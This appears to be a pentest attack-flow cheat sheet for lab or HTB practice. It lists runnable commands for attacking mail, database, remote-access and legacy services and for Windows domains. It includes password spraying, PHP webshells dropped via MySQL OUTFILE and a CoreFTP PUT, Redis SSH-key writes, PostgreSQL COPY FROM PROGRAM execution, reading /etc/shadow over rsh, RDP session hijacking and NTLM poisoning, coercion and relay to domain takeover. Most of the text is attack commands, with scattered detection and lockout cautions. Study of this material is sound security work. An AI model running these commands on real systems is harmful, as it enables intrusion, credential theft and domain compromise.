# O365 tenant — generic brute is throttled; enumerate + spray with o365spray (https://github.com/0xZDH/o365spray)
python3 o365spray.py --validate --domain $DOMAIN
python3 o365spray.py --enum -U users.txt --domain $DOMAIN
python3 o365spray.py --spray -U valid.txt -p 'Spring2026!' --count 1 --lockout 1 --domain $DOMAIN

[!warning] Watch out

  • VRFY/EXPN/RCPT TO are three independent enum primitives — test all three; admins usually only disable VRFY.
  • O365/G-Suite/Zoho block generic tools (hydra) at the provider — use o365spray/MailSniper/CredKing and keep them current, Microsoft moves the endpoints.
  • OpenSMTPD in the banner → check CVE-2020-7247 (unauth RCE as root via a ; smuggled in the MAIL FROM address).
  • smtp-user-enum -M RCPT is slow (~7 q/s) and noisy — scope the userlist.

> IMAP / POP3 — user enum & mailbox read (110 / 143 / 993 / 995)

What to look for: cleartext 110/143 vs TLS 993/995, POP3 USER enum (+OK/-ERR), and — once you have a cred — the mailbox itself (next password, reset mail, VPN configs live in inboxes).

Enumerate:

nmap -Pn -sV -sC -p110,143,993,995 $IP              # capabilities + TLS fingerprint
# POP3 username enum (same primitive as SMTP VRFY)
telnet $IP 110
#   USER john    +OK       (valid)
#   USER julio   -ERR      (invalid)

Exploit / Attack: brute, then actually read the mailbox over TLS.

hydra -L users.txt -p 'Company01!' -f $IP imap
hydra -l "$U" -P rockyou.txt -f $IP pop3
# IMAP over TLS — log in and dump a message
openssl s_client -connect $IP:993 -quiet
#   a LOGIN "$U" "$P"
#   a LIST "" "*"
#   a SELECT INBOX
#   a FETCH 1 BODY[]
# POP3S
openssl s_client -connect $IP:995 -quiet            # USER / PASS / LIST / RETR 1
curl -k "imaps://$IP" --user "$U:$P"                 # curl speaks imap(s)/pop3(s) too

[!tip] Don’t stop at “login worked” — mailboxes are a top source of the next credential and password-reset links. Always SELECT INBOX and read.

[!warning] Watch out 110/143 are plaintext — sniffable on a MITM’d segment. Use the openssl s_client wrapper (not raw telnet) for the 993/995 TLS ports or the handshake fails.


> MySQL — file r/w → webshell (3306)

What to look for: weak/reused SQL creds, secure_file_priv empty (FILE priv → read/write files on disk), the daemon running as root, and old 5.6.x builds (CVE-2012-2122 auth bypass). This is the LAMP database — the AD one (MSSQL, xp_cmdshell, linked servers) is already the 🐬 MSSQL block above.

Enumerate:

nmap -Pn -sV -sC -p3306 $IP                         # mysql-info: version, salt, auth plugin
nxc mysql $IP -u "$U" -p "$P"
mysql -u "$U" -p"$P" -h $IP                          # NOTE: no space after -p (else it reads a DB name)
#   SHOW DATABASES;  USE <db>;  SHOW TABLES;  SELECT * FROM users;
#   SELECT @@version;  SELECT system_user();
#   SHOW VARIABLES LIKE 'secure_file_priv';          -- ''  = file r/w unrestricted

Exploit / Attack: turn FILE privilege into a webshell or read local secrets.

-- read any file the service account can read (needs FILE priv)
SELECT LOAD_FILE('/etc/passwd');
-- write a webshell into the web root (secure_file_priv must be EMPTY)
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/x.php';
curl "http://$IP/x.php?c=id"                          # trigger it
# legacy MySQL 5.6.x auth bypass — hammer with any password until it lets you in
for i in $(seq 1 1000); do mysql -u root --password=wrong -h $IP 2>/dev/null; done   # CVE-2012-2122

UDF RCE note: if FILE priv exists but secure_file_priv blocks OUTFILE to the web root, the other path is a User-Defined Function — upload a compiled lib_mysqludf_sys shared object into the plugin dir and CREATE FUNCTION sys_exec. Windows-targeted via plugin_dir when writable; see 7 - Attacking SQL Databases.

[!warning] Watch out secure_file_priv = NULL disables file I/O entirely (no OUTFILE); a set directory restricts it — check it before assuming a webshell drop works. MySQL has no xp_cmdshell — RCE means FILE-priv webshell into a live web root, or a UDF. Deep dive: 7 - Attacking SQL Databases.


> PostgreSQL — default creds & COPY TO PROGRAM (5432)

What to look for: default/blank postgres creds, an exposed 5432, and a superuser session → CVE-2019-9193-style RCE via COPY ... FROM PROGRAM (works on PostgreSQL 9.3+ when you’re superuser or have pg_execute_server_program).

Enumerate:

nmap -Pn -sV -sC -p5432 $IP
psql -h $IP -U postgres                     # blank / postgres / password
nxc pgsql $IP -u postgres -p postgres

Exploit / Attack:

-- superuser check
SELECT current_setting('is_superuser');
-- RCE via COPY FROM PROGRAM (superuser)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- file read
CREATE TABLE file_read(data text);
COPY file_read FROM '/etc/passwd';

[!warning] Watch out COPY FROM PROGRAM is a feature gated on superuser — most exposed instances with default creds are postgres = superuser, so it fires more often than you’d expect. Metasploit postgres_payload automates the same thing. On Windows builds of PostgreSQL the service account often has SeImpersonate → Stage 09 potato territory.


> Redis — unauth access → SSH key write (6379)

What to look for: no-auth Redis bound to 0.0.0.0 (INFO answers instantly). From there: data theft, CONFIG abuse to write files as the redis user (SSH key → shell), or replication-based module-load RCE (Redis ≥ 4.x).

Enumerate / Attack:

redis-cli -h $IP info                          # unauth? -> server/version/role info
redis-cli -h $IP config get dir                # current working dir of the process
redis-cli -h $IP config get dbfilename
# classic SSH-key write (needs writable target dir, e.g. /var/lib/redis/.ssh or root/.ssh)
ssh-keygen -t rsa -f redis_key
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > pub.txt
redis-cli -h $IP config set dir /var/lib/redis/.ssh
redis-cli -h $IP config set dbfilename authorized_keys
cat pub.txt | redis-cli -h $IP -x set sshkey
redis-cli -h $IP save
ssh -i redis_key redis@$IP
# module-load RCE (4.x/5.x): rogue-server replication -> load .so -> system.exec
# (automated by redis-rogue-server / metasploit redis modules)

[!warning] Watch out CONFIG SET dir fails if the redis user can’t write there — probe with config get dir and pick a dir the service owns (its own data dir is guaranteed). save rewrites the on-disk DB; on a production box that’s destructive — do it in a lab or snapshot the RDB path first. Newer Redis (6+) supports ACLs — AUTH default "" may still answer if not configured.


> MongoDB — unauth dump (27017)

What to look for: pre-3.x-style MongoDB with no security.authorization set — full database read/write with zero creds. On modern builds look for default/weak users and leftover admin accounts.

Enumerate / Attack:

nmap -Pn -sV --script mongodb-info,mongodb-databases -p27017 $IP
mongosh "mongodb://$IP:27017"                                    # unauth connect
mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})'
# dump a collection
mongosh "mongodb://$IP:27017/appdb" --eval 'db.users.find().toArray()'
# legacy client syntax
mongo --host $IP appdb --eval 'db.users.find()'

[!warning] Watch out Unauth Mongo is rarer on modern stacks but endemic on legacy appliances and dev boxes. Found user creds with bcrypt/pbkdf2 hashes → offline crack in Stage 08. Also check rs.slaveOk()-style replica access — secondaries sometimes answer when primaries require auth.


> Oracle TNS — SID brute → odat (1521)

What to look for: the TNS listener, a valid SID (nothing works without it), default creds (scott/tiger, system/manager, dbsnmp/dbsnmp), and a DBA account → file write to the web root / OS command exec.

Enumerate:

sudo nmap -p1521 -sV $IP --open
nmap -p1521 --script oracle-sid-brute $IP            # find a valid SID (ORCL, XE, ...)
nmap -p1521 --script oracle-brute --script-args oracle-brute.sid=XE $IP
# odat all-in-one
odat all -s $IP -p 1521
odat sidguesser -s $IP -p 1521                        # SID brute
odat passwordguesser -s $IP -p 1521 -d XE             # default-cred spray against a SID

Exploit / Attack: log in with SID+creds, then use a DBA account to touch the filesystem.

sqlplus scott/tiger@$IP:1521/XE                       # normal login
sqlplus scott/tiger@$IP:1521/XE as sysdba             # privileged login
# DBA -> drop a webshell to the server's web root
odat utlfile -s $IP -d XE -U scott -P tiger --sysdba \
   --putFile C:\\inetpub\\wwwroot shell.aspx ./shell.aspx
# DBA -> read/exec on the box
odat externaltable -s $IP -d XE -U scott -P tiger --sysdba --exec 'C:\\' 'whoami'

[!warning] Watch out NOTHING works without a valid SID — sid-brute first. odat/sqlplus (instantclient) have finicky deps; a cryptic error usually means the client, not the target. scott/tiger and friends are shockingly common on Oracle. File-write/exec needs --sysdba.


> RDP — NLA check, spray, hijack & Pass-the-Hash (3389)

What to look for: ms-wbt-server, NLA state + domain from rdp-ntlm-info, valid creds to spray (mind lockout), an NTLM hash (→ PtH via Restricted Admin), or an old unpatched host (→ BlueKeep). Local admin already? → hijack a live session.

Enumerate:

nxc rdp $IP                                            # fast NLA check (nla:True/False) + auth test
nmap -Pn -p3389 --script rdp-ntlm-info,rdp-enum-encryption $IP    # domain/host + ciphers
# BlueKeep pre-check — scanner only, DON'T fire the RCE on prod
msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS $IP; run; exit"

Spray and connect from Linux (xfreerdp / FreeRDP)

# Spray one password across users. Respect the domain lockout policy.
crowbar -b rdp -s $IP/32 -U users.txt -c 'Password123'
hydra -L users.txt -p 'Password123' -t 4 -W 3 $IP rdp

# Log in and accept the lab's self-signed certificate.
xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore +clipboard /dynamic-resolution
# v3 syntax on newer FreeRDP builds:
xfreerdp3 /v:$IP /u:"$U" /p:"$P" /cert:ignore

# Pass-the-Hash after Restricted Admin Mode has been enabled by an administrator.
xfreerdp /v:$IP /u:Administrator /pth:<NTLMHASH>

Enable Restricted Admin Mode from an elevated Command Prompt

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

Hijack an existing RDP session from a SYSTEM/local-admin Command Prompt

query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sesshijack

[!warning] Watch out RDP honours account lockout → spray, never brute (4625s with logon type 3/10 per attempt). nla:True blocks the pre-auth login screen (good for the defender) but NOT credentialed spray — nxc rdp still validates creds through NLA. tscon hijack needs SYSTEM (hence the service trick) and no longer works on Server 2019+. PtH-RDP only fires if DisableRestrictedAdmin is set. BlueKeep can BSOD the box — scan, get client sign-off, then exploit. Deep dive: 8 - Attacking RDP.


> WinRM — shell over 5985 / 5986

What to look for: Windows Remote Management (HTTP 5985 / HTTPS 5986) — a login here is an immediate interactive shell if the user is in Remote Management Users or admin. MITRE T1021.006 Windows Remote Management.

Enumerate / Attack:

nxc winrm $IP -u "$U" -p "$P"                  # validate creds (Pwn3d! = shell-able)
nxc winrm $IP -u "$U" -H <NTLM>                # hash auth works too
evil-winrm -i $IP -u "$U" -p "$P"              # interactive PS shell (https://github.com/Hackplayers/evil-winrm)
evil-winrm -i $IP -u "$U" -H <NTLMHASH>        # pass-the-hash straight into a shell
evil-winrm -i $IP -u "$U" -p "$P" -S           # 5986/SSL variant
evil-winrm -i $IP -u "$U" -p "$P" -s scripts/ -e exes/   # PS upload + exec dirs baked in

[!tip] evil-winrm -s + -e dirs make uploading PowerShell tools (PowerView, PrivescCheck) and binaries trivial — menu shows the loaded modules. WinRM auth is NTLM by default; use -k + realm for Kerberos.

[!warning] Watch out WinRM logons are Event ID 4624 type 3 on the target plus 91/168 in the WinRM Operational log — a SOC watching remoting will see every connection. On 5986 with a self-signed cert, -S plus accepting the cert is normal in labs.


> VNC & Telnet — brief (5900+ / 23)

VNC (5900, 5901…): check for no-auth or weak VNC passwords (VNC auth caps at 8 chars — tiny keyspace).

nmap -Pn -sV --script vnc-info,vnc-brute -p5900 $IP
hydra -P /usr/share/wordlists/rockyou.txt -t 4 $IP vnc
vncviewer $IP:0
# cracked the obfuscated desktop-side password? decrypt the .vnc/registry blob (vncpwd) — Stage 08

Telnet (23): cleartext everything — banner often leaks OS; default creds on appliances; sniffable on the wire.

nc $IP 23                    # banner
telnet $IP                   # interactive — try admin/admin, cisco/cisco, root/root
hydra -L users.txt -P passwords.txt -t 4 telnet://$IP

[!warning] Watch out VNC sessions are shared consoles — the logged-in user sees your mouse. Telnet creds transit in cleartext; if you have a network tap (Responder-era access), passive capture beats brute. Both are legacy — finding them is a reportable finding by itself.


> SNMP — write community, braa & snmp-check (161/udp)

What to look for: (extends the STAGE 3 SNMP block — base OIDs already there) a writable community (privatesnmpset), fast bulk scraping, non-default community names, and SNMPv3 (needs a user+auth/priv cred, not just a string).

Enumerate:

# broader community brute than onesixtyone alone
nmap -sU -p161 --script snmp-brute $IP \
  --script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP snmp
# structured one-shot dump (users, processes, netstat, software, storage)
snmp-check -c public $IP
# braa — mass/fast OID sweep, far quicker than snmpwalk for scraping
braa public@$IP:.1.3.6.1.*
# extras beyond the STAGE 3 OID set
snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects   # extend scripts (RCE-ish)
snmpbulkwalk -v2c -c public -Cr1000 $IP .1                         # bulk = fewer round-trips

Exploit / Attack: a RW string rewrites device config.

snmpset -v2c -c private $IP <OID> s "value"          # write with a RW community
# creds/paths scraped from process args (25.4.2, in the STAGE 3 block) -> SSH/spray

[!warning] Watch out UDP/161 — needs nmap -sU or it’s invisible. private (RW) is the jackpot: snmpset can rewrite config. SNMPv3 won’t yield to a community string. braa needs the trailing .1.3.6.1.* glob. This block adds the write path + fast tooling on top of the STAGE 3 read-only OID walk.


> IPMI — RAKP hash dump (623/udp)

What to look for: a BMC (Dell iDRAC, HP iLO, Supermicro). IPMI 2.0’s RAKP handshake hands a password hash for any valid user to any unauthenticated client — dump and crack offline. Plus cipher-0 auth bypass and default BMC creds.

Enumerate:

sudo nmap -sU -p623 --script ipmi-version $IP
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS $IP; run; exit"

Exploit / Attack:

# dump RAKP HMAC hash (unauth) -> crack offline
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS $IP; run; exit"
hashcat -m 7300 ipmi.hash /usr/share/wordlists/rockyou.txt        # IPMI2 RAKP HMAC-SHA1
# cipher-0 bypass (BMC accepts any password) -> read users / set a password
ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list
ipmitool -I lanplus -C 0 -H $IP -U root -P '' user set password 2 newpass

[!warning] Watch out UDP/623 — -sU. The RAKP dump is a protocol design flaw, not a misconfig — it works against fully-patched IPMI 2.0. Default BMC creds are everywhere (ADMIN/ADMIN Supermicro, root/calvin iDRAC). A BMC controls the host below the OS — treat it as a critical finding.


> Rsync — anonymous modules (873)

What to look for: an rsync daemon exposing modules without auth — backup hosts, web roots, and whole home directories, sometimes writable.

Enumerate:

nmap -Pn -sV -p873 --script rsync-list-modules $IP
rsync -av --list-only rsync://$IP/                    # list modules
rsync -av --list-only rsync://$IP/share               # list files in a module

Exploit / Attack:

rsync -av rsync://$IP/share ./loot                    # pull an anon-readable module
rsync -av rsync://user@$IP/share ./loot               # authenticated (prompts for password)
# writable module -> arbitrary file write (SSH key / webshell)
rsync -av ./id_rsa.pub rsync://$IP/share/home/user/.ssh/authorized_keys

[!warning] Watch out Anonymous rsync often exposes entire home dirs / web roots. A writable module = arbitrary write → authorized_keys (SSH) or webshell (RCE). --list-only first so you scope before pulling gigabytes of backups.


> R-services & finger — legacy trust (512 / 513 / 514 · 79)

What to look for: rexec (512), rlogin (513), rsh (514) — password-free access when a source host/user is trusted via .rhosts/hosts.equiv (+ + = anyone). finger (79) leaks valid usernames, real names, login times, home dirs.

Enumerate:

nmap -Pn -sV -p79,512,513,514 $IP
rusers -al $IP                                        # users/sessions across trusted hosts
rwho                                                  # who's logged in (udp/513)
finger @$IP                                           # who's logged in
finger root@$IP                                       # valid user vs "No such user"
finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t $IP

Exploit / Attack: ride the trust — no password if your host/user is allowed.

rlogin $IP -l root                                    # rlogin as a trusted user
rsh -l <user> $IP "id"                                 # one-shot command through the trust
rsh $IP -l root "cat /etc/shadow"

[!warning] Watch out Needs rsh-client/rlogin installed locally. Trust is keyed on source host/IP + username — matching a trusted account (often hinted at in NFS/passwd loot) gets you in with no password; a + + in /etc/hosts.equiv or ~/.rhosts = passwordless for anyone. finger output feeds straight into SSH/SMTP/RDP username spraying.


> FTP — brute, bounce & anon-write→webroot (21)

What to look for: (extends the STAGE 3 FTP anon block) a writable dir that’s also a web root (anon-write → webshell → RCE), FTP bounce (PORT abuse → scan internal hosts through the FTP box), weak creds, and a banner → CVE (vsftpd 2.3.4 backdoor, CoreFTP CVE-2022-22836).

Enumerate:

sudo nmap -sC -sV -p21 $IP                            # ftp-anon flags [NSE: writeable] dirs

Exploit / Attack:

# brute
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp
hydra -L users.txt -P rockyou.txt ftp://$IP
# anon-write -> webshell if the FTP root is served over HTTP
ftp $IP        # anonymous login; then:  binary / put shell.php / put shell.aspx
curl "http://$IP/shell.php?c=id"                       # trigger via the web root
# FTP BOUNCE — scan an internal host THROUGH the FTP server's PORT command
nmap -Pn -v -n -p80,443,3306 -b anonymous:password@$IP <internal_ip>
# CoreFTP HTTP PUT arbitrary write (CVE-2022-22836)
curl -k -X PUT --basic -u "$U:$P" --data-binary "<?php system(\$_GET['c']);?>" \
  --path-as-is "https://$IP/../../../../inetpub/wwwroot/x.php"

[!warning] Watch out Always binary before uploading a webshell/DB. Bounce only works on un-hardened daemons — a hit is both a reportable misconfig and a pivot into an otherwise-unreachable segment. --path-as-is is mandatory for the CoreFTP write or curl collapses the ../ itself. Deep dive: 5 - Attacking FTP.


⚡ No-Credential Foothold — Poison & Relay

What to look for → SMB null/anon is blocked, no web creds, but you’re on the internal subnet. This is the zero-credential on-ramp: make a victim authenticate to you (poison or coerce), then either crack the NetNTLMv2 or relay it live to a service that isn’t signing. STAGE 3’s SMB scan already told you who’s relayable — the signing:False rows. MITRE T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay + T1040 Network Sniffing.

Find relay targets first (signing disabled = relayable)

# hunt the whole subnet for SMB signing:False → the only hosts you can relay TO
nxc smb $IP/24 --gen-relay-list relay.txt          # note the exact spelling: --gen-relay-list
cat relay.txt

Poison — Responder (LLMNR / NBT-NS / mDNS)

# 1. LISTEN FIRST (Analyze mode) — see who's broadcasting before you answer anything
sudo responder -I tun0 -A

# 2. Poison + capture NetNTLMv2 (WPAD on, verbose). Leave it running.
sudo responder -I tun0 -wv
#    hashes land in /usr/share/responder/logs/  →  crack in STAGE 8:
hashcat -m 5600 responder-hash.txt rockyou.txt        # NetNTLMv2

[!warning] Watch out If you’re going to relay instead of crack, turn Responder’s own SMB + HTTP servers OFF first (/etc/responder/Responder.confSMB = Off, HTTP = Off) or it steals the auth ntlmrelayx wants. Responder captures are NetNTLMv2 (-m 5600) — these are not pass-the-hashable, only crackable. Deep dive: 🔴 Attack.

[!danger] Detection — poisoning & relay Responder answering every LLMNR/NBNS broadcast is loud: it appears in EDR network dashboards, Windows Defender alerts (“network spoofing”), and any LLMNR-monitoring Sigma rule within minutes. Relayed auths leave 4624 type 3 logons from an unexpected source IP (yours) on the victim services, and coercion→relay chains generate 4769 TGS requests from machine accounts against unusual SPNs. Expect a mature SOC to catch a full-noise Responder run; time-box it and prefer targeted poisoning (single interface, -A first) on real engagements.

Relay — ntlmrelayx (turn captured auth into action, no cracking; part of impacket)

# SMB relay → interactive shell / command / SOCKS pivot
ntlmrelayx.py -tf relay.txt -smb2support -i                        # -i = interactive SMB client on 127.0.0.1
ntlmrelayx.py -tf relay.txt -smb2support -c 'whoami'               # one-shot command
ntlmrelayx.py -tf relay.txt -smb2support -socks                    # queue sessions, use via proxychains

# LDAP relay → escalate the victim (auto-adds DCSync rights), or dump the good stuff
ntlmrelayx.py -t ldap://$DC  -smb2support --escalate-user "$U"     # grants low_user Repl-Get-Changes-All
ntlmrelayx.py -t ldaps://$DC -smb2support --dump-adcs --dump-laps  # cert templates + LAPS in one pass
ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$'
ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access        # RBCD onto the relayed machine

[!tip] Coerce instead of wait Don’t sit hoping someone browses a bad name — force a machine (often the DC) to auth to you, then relay it. All of these feed the ntlmrelayx lines above:

python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC      # MS-EFSRPC (unauth variant on unpatched)
printerbug.py "$DOMAIN"/"$U":"$P"@$DC $LHOST              # MS-RPRN spooler
dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC      # MS-DFSNM (works on patched-PetitPotam DCs)
coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC   # all-in-one, tries every method

Coerced DC auth relayed to LDAPS → RBCD/DCSync, or to ADCS ESC8 (Stage 07), is a full domain takeover from one low-priv account. Deep dives: 🔴 Attack · 🔷 Attack.

mitm6 — IPv6 DHCPv6 takeover → LDAP relay (beats Responder in hardened nets; mitm6)

# Terminal 1: become the network's IPv6 DNS. Fires on every boot — no LLMNR needed.
sudo mitm6 -d "$DOMAIN" --no-ra
# Terminal 2: relay the WPAD auth to LDAPS and grant RBCD. -6 and -wh are MANDATORY.
ntlmrelayx.py -6 -t ldaps://$DC -wh fakewpad.$DOMAIN -smb2support --delegate-access

[!warning] Watch out mitm6 without -6 (IPv6 mode) and -wh <wpad-host> on ntlmrelayx will silently catch nothing — the IPv6 WPAD auth never gets relayed. mitm6 is loud (poisons the whole segment’s DNS) and time-boxed — run it, catch a boot/logon, kill it. Deep dive: 🔴 Attack.


🔁 NTLM & Kerberos Relay — full target/technique matrix

Beyond the basic relay block: the decision matrix for where a captured/coerced auth can go, and the escalation modes of ntlmrelayx. Deep dive: NTLM-Kerberos-Relay-Cheatsheet.

When relay works — pick the sink by what’s not hardened

Target serviceRelayable whenPayoff
SMBsigning not requiredSAM dump, -c exec, -i/-socks session
LDAP / LDAPSsigning / channel-binding gaps--escalate-user (DCSync), --shadow-credentials, --delegate-access (RBCD)
HTTP (ADCS web-enroll)no EPA/CBT--adcs → DC/user cert = domain (ESC8)
nxc smb $IP/24 --gen-relay-list relay.txt      # signing:False hosts only — blind -t against signed SMB wastes coerces

Escalation modes (LDAP/LDAPS sink)

ntlmrelayx.py -tf relay.txt -smb2support -socks                       # queue sessions → proxychains after
ntlmrelayx.py -t ldaps://$DC -smb2support --escalate-user "$U"        # auto-adds Repl-Get-Changes-All → DCSync
ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$'
ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access           # RBCD onto the relayed machine account
ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

[!warning] Watch out

  • Port clash: Responder and ntlmrelayx both grab 445/80 — either disable SMB/HTTP in Responder.conf or run ntlmrelayx --no-smb-server.
  • Kerberos-only / NTLM disabled → relay is dead. Pivot to RBCD / ADCS / ticket abuse (STAGE 5–7). But LLMNR poisoning still yields NetNTLMv2 for hashcat -m 5600 even when signing blocks the relay.
  • Some LDAP modes one-shot the session — use --keep-relaying or re-coerce. Guard the -socks port; it’s a reusable pivot.
  • Captured hashes go to Stage 08 for cracking; successful relay chains continue in Stage 10.

🎯 Coercion Toolbox — which RPC bug when

What to look for → a DC or server you can force to authenticate to your listener (rpcdump.py $IP shows which interfaces exist). Each method abuses a different RPC interface with different patch status and filtering. MITRE T1187 Forced Authentication.

[!tools] Stage this PetitPotam.py (SHA-256 · GPG signature)

Method selection:

MethodInterfaceWorks whenLink
PetitPotamMS-EFSRPCUnpatched = unauthenticated DC coerce; patched still works with any domain cred unless EFS RPC filters appliedtopotam/PetitPotam
PrinterBug / SpoolSampleMS-RPRNSpooler service running (usually workstations; check rpcdump | grep spoolsv)leechristensen/SpoolSample
DFSCoerceMS-DFSNMDFS Namespace service — the classic fallback when PetitPotam is patchedWh04m1001/DFSCoerce
ShadowCoerceMS-FSRVPFile Server VSS agent enabled (rarer, but unpatched on many servers)ShutdownRepo/ShadowCoerce
Coercerall of the aboveone tool tries every method & protocol pathp0dalirius/Coercer
# staged target (listener $LHOST, coerce $DC):
python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
python3 PetitPotam.py $LHOST $DC                       # unauth attempt on pre-patch DCs
dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
shadowcoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC          # try everything
coercer scan  -u "$U" -p "$P" -d "$DOMAIN" -t $DC                     # scan-only: which methods answer

OPSEC / pitfalls:

[!warning] Watch out

  • Start ntlmrelayx (or Responder in capture-only) before coercing — a coerce with no listener wastes the attempt and still logs.
  • Server 2022+ and patched 2016/2019 block unauthenticated PetitPotam; any domain cred revives most methods unless RPC interface filters (e.g., the EFS filters Microsoft recommends) are deployed.
  • WebClient (WebDAV) service on the coerced host = HTTP coerce → relays to ADCS/ESC8 (Stage 07). Check with nxc smb $IP -u "$U" -p "$P" -M webdav.
  • Coercion generates 4624 type 3 from the target machine account to your box and 4769 service-ticket requests downstream — on monitored nets, one coerced DC auth is a high-severity alert.

🪟 Inveigh — poison from inside a Windows foothold

What to look for → you have a shell on an internal Windows host but your Linux attack box can’t reach that broadcast domain. Inveigh is the Windows-native Responder — poison LLMNR/NBT-NS/mDNS from the compromised host itself and capture NetNTLMv2 from the internal position. (Inveigh)

[!tools] Stage this Inveigh.ps1 (SHA-256 · GPG signature)

# PowerShell build — capture on the internal segment
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -LLMNR Y
# useful knobs:
#   -IP <ip>            bind a specific interface
#   -FileOutput Y       write hashes/cleartext to files
#   -HTTPreply          custom HTTP bait response
Get-Inveigh            # view captured hashes/creds so far
Stop-Inveigh           # clean shutdown
# hashes → crack on the Linux box with hashcat -m 5600 (STAGE 8), or relay if you can route it

[!tip] This complements the Responder/mitm6/ntlmrelayx block, which only poisons from your interface. Deep dive: 8 - Post-Exploitation & Pillaging.

[!warning] Watch out Inveigh needs local admin (raw sockets) and is signatured — prefer Invoke-Inveigh in-memory via your C2’s powershell-import equivalent over touching disk. LLMNR spoofing from a workstation is exactly what Defender for Identity watches for.


🧹 Internal Sweep from a Foothold — fscan

What to look for → you’ve landed on one internal host and need the whole segment mapped fast: live hosts, open services, web titles, weak SMB/SSH/MSSQL/Redis creds, MS17-010, and brute-able services — in one Windows-native binary. (fscan)

[!tools] Stage this fscan_windows_x64.exe (SHA-256 · GPG signature)

# full default sweep of the segment (ports, services, web titles, weak creds)
.\fscan_windows_x64.exe -h 192.168.1.0/24
# fast host discovery + top ports only
.\fscan_windows_x64.exe -h 192.168.1.0/24 -np -p 21,22,80,445,1433,3306,3389,5985,6379
# skip ping (noisy ICMP), skip brute, just enumerate
.\fscan_windows_x64.exe -h 192.168.1.0/24 -np -nobr
# output to file for exfil
.\fscan_windows_x64.exe -h 192.168.1.0/24 -o result.txt

[!warning] Watch out fscan is an all-in-one — its default run includes brute-force modules that will hammer lockout thresholds and light up every IDS on the segment. On monitored networks always run -np -nobr first, then target modules (-m smb, -m ms17010) at specific hosts. Results feed target selection for Stage 10.


[!navigation] Continue the attack flow Previous: Foothold Toolkit — Shells, Payloads, and Metasploit

Dashboard: HTB Pentest Attack Flow

Next: Stage 04 — Active Directory Enumeration